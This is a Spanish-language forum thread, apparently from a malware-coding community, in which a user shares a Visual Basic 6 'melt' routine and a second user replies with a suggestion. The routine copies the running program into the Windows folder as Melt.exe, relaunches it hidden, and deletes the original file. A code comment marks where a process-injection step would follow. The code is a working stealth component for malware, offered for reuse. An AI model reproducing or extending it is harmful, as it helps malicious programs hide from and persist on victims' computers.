Página 1 de 1

Melt en VB6

Publicado: 21 Dic 2010, 19:17
por mDrinky
Bueno, viendo el Melt que ha hecho Poison en C, me recordo un código que cree hace mucho tiempo para hacer melt y que he ido aplicando a mis proyectos :P

Este es el código:

Código: Seleccionar todo

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Public Function DrinkyMelt(Datos As String) As Boolean
    If App.Path = Environ("windir") Then
        Kill Datos
        'Llegados a este punto ya hemos temrinado el melt y tenemos que llamar a la funcion normal para que siga la ejecucion ejemplo:
        ' Call Inyectar
    Else
       FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Windir") & "\Melt.exe"
        Call ShellExecute(0, "Open", Environ("Windir") & "\Melt.exe", App.Path & "\" & App.EXEName & ".exe", vbNullString, 0)
         End
     End If
End Function

Private Sub form_load()
    Call DrinkyMelt(Command)
End Sub

Espero que os sirva.

salu2!

Re: Melt en VB6

Publicado: 22 Dic 2010, 17:02
por linkgl
Sencilla la función, igual para que te evites usar la API shell execute, por ahí ví un source de BlackZeroX, donde hace una función ShellExecute sin API'S, digo por si te interesa jeje .